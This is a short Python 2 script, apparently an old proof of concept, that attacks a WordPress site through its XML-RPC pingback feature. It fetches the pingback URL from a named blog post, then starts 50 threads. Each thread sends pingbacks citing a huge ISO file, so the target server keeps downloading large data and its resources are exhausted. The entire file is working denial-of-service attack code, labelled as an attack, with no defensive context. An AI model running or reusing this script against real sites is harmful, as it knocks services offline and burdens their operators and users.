#!/bin/env python
# vim:ft=python:fileencoding=utf-8
#
from xmlrpclib import ServerProxy
from urllib import urlopen
from random import randint
from threading import Thread

# Define target
targetURL = "http://blog.wordpress-deutschland.org/2007/04/03/wordpress-213-und-2010-de-edition.html"
hugeFile  = "http://www.tld.com/path-to-a-big-iso-file-from-a-major-linux-distribution.iso#i%d"

# Fetch Pingback-URL
pingbackURL =  urlopen(targetURL).headers["X-Pingback"]
print "Target URL: %s\nPingback:   %s" % (targetURL, pingbackURL)

# Attack
def attack():
  server = ServerProxy(pingbackURL)
  try: server.pingback.ping(hugeFile % randint(10, 1000), targetURL)
  except: pass
for i in range(50):
  Thread(target=attack).start()
print "-- attacking --"

